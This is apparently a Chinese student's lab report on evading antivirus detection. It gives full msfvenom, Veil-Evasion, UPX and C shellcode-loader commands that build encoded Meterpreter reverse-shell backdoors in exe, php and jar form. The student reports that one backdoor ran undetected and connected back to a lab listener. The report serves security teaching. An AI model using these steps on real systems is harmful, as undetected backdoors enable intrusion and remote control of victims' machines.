一、基础问题回答
1、杀软是如何检测出恶意代码的?
病毒特征码检测
加密文件分析一种是以卡巴斯基为代表的安全软件,会自带脱壳引擎,将加壳文件脱壳还原后再进一步判定文件是否有害;另一种是实力不佳的安全厂商,由于难以开发高质量脱壳引擎,会尝试从进程内存数据中检测有害信息,因为内存中的数据一般都不在受加壳机制保护了。
基于行为检测的主动防御。比如当病毒文件尝试修改一些敏感信息就会报警。
2、免杀是做什么?
免杀技术全称为反杀毒技术,躲避杀毒软件的检测。它指的是一种能使病毒木马免于被杀毒软件查杀的技术。由于免杀技术的涉猎面非常广,其中包含反汇编、逆向工程、系统漏洞等黑客技术,所以难度很高,一般人不会或没能力接触这技术的深层内容。其内容基本上都是修改病毒、木马的内容改变特征码,从而躲避了杀毒软件的查杀。
免杀还有很多的分类:文件免杀,基于文件的免杀基本上就是破坏原有程序的特征。无论是修改特征码还是加上一段花指令还是加壳,目的就是为了打乱或加密可执行文件内部的数据。
内存免杀,数据进入CPU之前会在内存中处理成可以直接被CPU执行的形式。通过选择扫描内存的形式去查杀木马。将要被执行的程序肯定比未执行程序的威胁更大。再厉害的木马只要能保证它不被执行,它在用户的计算机中最多也就是算是一个垃圾文件,就不会对用户及网络构成任何威胁。
行为免杀,从最早的“文件防火墙”发展到后来的“主动防御”,再到现在的部分“云查杀”,其实都应用了行为查杀技术。常见行为添加服务、创建驱动、释放资源、添加注册表、增加自启动、创建互斥体、遍历全硬盘的文件、远程线程注入、HOOK。
3、免杀的基本方法有哪些?
(1)修改特征码
(2)加壳
(3)花指令。等等
4、开启杀软能绝对防止电脑中恶意代码吗?
绝对防止是很难做到的,通过virus扫描类的网站我们已经能够看出,不同的后门不同的杀软是表现不同的,所以不能绝对防止!同时,由于恶意代码也会随着科技进步发展变化,只能说是最大程度地去防止恶意代码,而且不同的杀软有不同的性能,对于恶意代码的防范也有一定的局限性,所以绝对是很难做到的!
二、 实践内容
1、正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
1.1 得到kali的ip地址
1.2 检验直接生成的后门exe文件(实验二中的后门程序)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.244.128 PORT=2127 -f exe > 20201203backdoor.exe
用免杀测试平台测试:
https://www.virustotal.com
测试结果如下:
1.3 使用Unicode编码一次
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.244.128 LPORT=2127 -f exe > 20202127backdoor.exe
测试结果如下:
编码多次:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -i -12 -b ‘\x00’ LHOST=192.168.244.128 LPORT=2127 -f exe > 20202127_backdoor2.exe
1.4利用php格式文件检测
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.113.130 LPORT=1203 x> 20201203_backdoor_php.php
1.5利用jar文件检测
msfvenom -p java/shell_reverse_tcp LHOST=192.168.113.130 LPORT=1203 -f jar > 20201203_backdoor_jar.jar
2、veil,加壳工具
2.1安装veil-evasion
sudo apt-get update
sudo apt-get install veil-evasion
cd /usr/share/veil/config
vim setup.sh
需要注意的是原安装配置文件setup.sh是从github上下载文件,但是国内访问github的速度比较慢,更改setup.sh第260行的克隆地址为:
Sudo git clone https://gitee.com/spears/VeilDependencies.git
修改成功后,输入veil
安装相关模块
2.2利用加壳工具产生后门软件
veil
use evasion
use c/meterpreter/rev_tcp.py
set LHOST 192.168.244.128
set LPORT 2127
generate
检测结果为:
2.3 免杀加壳尝试
upx 20202127veil.exe -o 20202127_veil_upx.exe
3、使用C + shellcode编程
使用msfvenom 得到shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.244.128 LPORT=2127 -f c
编辑C文件 vim shellcode_c.c
,输入上方的代码以及
int main()
{
int (*func)() =(int(*)())buf;
func();
}
编译成可执行文件
i686-w64-mingw32-g++ shellcode_c.c -o shellcode_c.exe
4.通过组合应用各种技术实现恶意代码免杀
利用python+aes_encrypt
veil
use evasion
list
use python/shellcode_inject/aes_encrypt.py
generate
2
回车
192.168.244.128
2127
回车
原理:使用了数据加密的方式进行多次编译后门软件
三、附加题:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
首先我们先生成.raw文件,代码如下:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' LHOST=192.168.244.128 LPORT=2127 -f raw -o 20202127myz.raw
运行结果如下图所示:
这时候我们可以尝试使用杀软进行测试,发现我们的.raw文件并没有报毒,如图所示(前三个是之前尝试的失败产物,最后一个是shellcode加载器被查出来了,但.raw文件未被查出,火绒也未报警)
然后我们将文件传到电脑主机上shellcode_launcher-master的路径下(shell_launcher需要下载,地址为https://gitee.com/vantler/shellcode_launcher/),并用shellcode_launcher指令运行,代码如下:
shellcode_launcher.exe -i 20202127myz.raw
与此同时,虚拟机上应该同实验二中一样开启监听,如下面两张图所示
输入dir,发现可以获取对方的权限。
四、实验问题
(1)安装的过程当中出现ptyhon的安装,当我点击next以后将卡死,弹出错误,并且在安装veil的过程中也显示,安装wine32失败
当时查了各种资料,换了各种国内源。然后又看了各种什么修改.setup的第251行github改为Gitee等。但是都失败了。依旧是同样的问题。
最后其实还是由于源的问题,因为之前我注释掉了官方源,并且加的都是国内的源,后来再/etc/apt/sources.list里加了:deb http://http.kali,org/kali kali-rolling main non-free contrib然后就对了。后来会出现什么.py。忽略即可。
(2)最开始我使用的是桥接模式,然后呢我在输入apt-get update的时候,有出现了什么does The net authentation?
问题好像是因为桥接模式连校园的内网好像DNS的配置访问不了外边的一些网络。然后我就换成了NAT模式去下载,就可以下载了。另一种方式就是配置KALI的DNS。在进入系统之前,我们先确认一下主机的ip地址、网关、DNS等信息。我们需要将桥接模式下虚拟机的ip地址和物理主机的ip设置为同一个网段,并使虚拟机的默认网关、子网掩码和DNS和物理主机的保持一致。进入kali,打开终端编辑网卡配置文件,命令为:vim /etc/network/interfaces。进入vim编辑器之后,设置虚拟机的ip、默认网关、子网掩码(natmask)、广播地址等信息,修改虚拟机的DNS配置文件,使虚拟机的DNS和主机的DNS一模一样,命令如下:vim /etc/resolv.conf。然后重启。
五、实验心得体会
本此实验遇到的比较大的问题就是veil的安装,当时反复出现wine32缺失的报错,按照系统给的命令操作之后,却又一直卡在某一行,我也不知道是这一步就应该等待这么久还是我的操作出现了问题,反复多次尝试之后,我在操作到那一步之后,出去吃了顿晚饭,回来之后就惊喜地发现veil已经安装完毕,由此,我也确定了我的操作并没有问题,只是确实需要等待很久。
本次实验我尝试了许多免杀方法,虽然有很多效果不尽如人意,比如使用msf编码器操作,但通过组合应用各种技术后,发现效果显著,检出率大幅下降,这也让我认识到网络安全之路依旧任重道远。